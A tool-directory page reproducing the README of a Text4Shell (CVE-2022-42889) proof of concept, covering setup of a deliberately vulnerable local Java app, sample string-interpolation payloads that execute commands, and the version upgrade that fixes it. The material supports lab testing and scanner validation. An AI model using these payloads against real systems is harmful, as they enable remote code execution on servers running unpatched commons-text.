Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
text4shell-poc — Proof of Concept Appliction for testing CVE-2022-42889 | Kitploit
Tools/GitHubGitHub/securekomodo/text4shell-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubsecurekomodo/text4shell-poc

text4shell-poc

Proof of Concept Appliction for testing CVE-2022-42889

View Repository
8113 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2022-42889 PoC Test Application

This is a vulnerable application developed as a Proof of Concept for the vulnerability CVE-2022-42889.

Maven Installation

In order to run this you will need:

  • JDK 17 or above
  • Maven
  1. Clone the git repo
root@kitploit:~
git clone https://github.com/securekomodo/text4shell-poc.git
cd text4shell-poc
  1. Maven install to create the JAR
root@kitploit:~
mvn clean install

This will create the ./target folder and within that folder should be the JAR file text4shell-poc-0.0.1-SNAPSHOT.jar

  1. Start the webserver
root@kitploit:~
java -jar ./target/text4shell-poc-0.0.1-SNAPSHOT.jar

This will start a web server on your localhost listening on port 8080 by default

  1. Browse to the webserver

Access the webserver at http://localhost:8080/ and you should see the following output

root@kitploit:~
Text4Shell POC Test -@securekomodo
Send payloads to /reflected?poc=yourpayload
OR Send payloads to /blind with payload as your userAgent
  1. Exploit manually or perform a scan using text4shell-scan

Sample Exploit Payloads

root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/itworked')}
root@kitploit:~
${dns:<burp collaborator host>)}

Recommended URL encoder for successful exploit demonstration: https://www.urlencoder.org/.

Docker

Alternatively you can use Docker to be able to run this PoC:

  1. Clone the git repo
root@kitploit:~
git clone https://github.com/securekomodo/text4shell-poc.git
cd text4shell-poc
  1. Docker build
root@kitploit:~
docker build --tag=text4shell-poc .
  1. Docker run
root@kitploit:~
docker run -p 80:8080 text4shell-poc
  1. Test the vulnerable app
root@kitploit:~
http://localhost/
  1. Attack can be performed by passing a string “${prefix:name}” like shown below:
root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
root@kitploit:~
${dns:<burp collaborator host>)}

Recommended URL encoder for successful exploit demonstration: https://www.urlencoder.org/.

Alternatively you can validate the effectiveness of scanning tools such as text4shell-scan

Are You Vulnerable?

In order for your code to be vulnerable you need to:

  • Be running a version of Apache commons-text from version 1.5.0 up to (and not including) 1.10.0
  • Using Interpolation for your StringSubstituion (see https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/StringSubstitutor.html) - note this is not super common

The Fix

The fix for this is to update your instances of commons-text to versions 1.10.0 or later.

Author

Bryan Smith

  • Twitter: https://twitter.com/securekomodo
Download Tool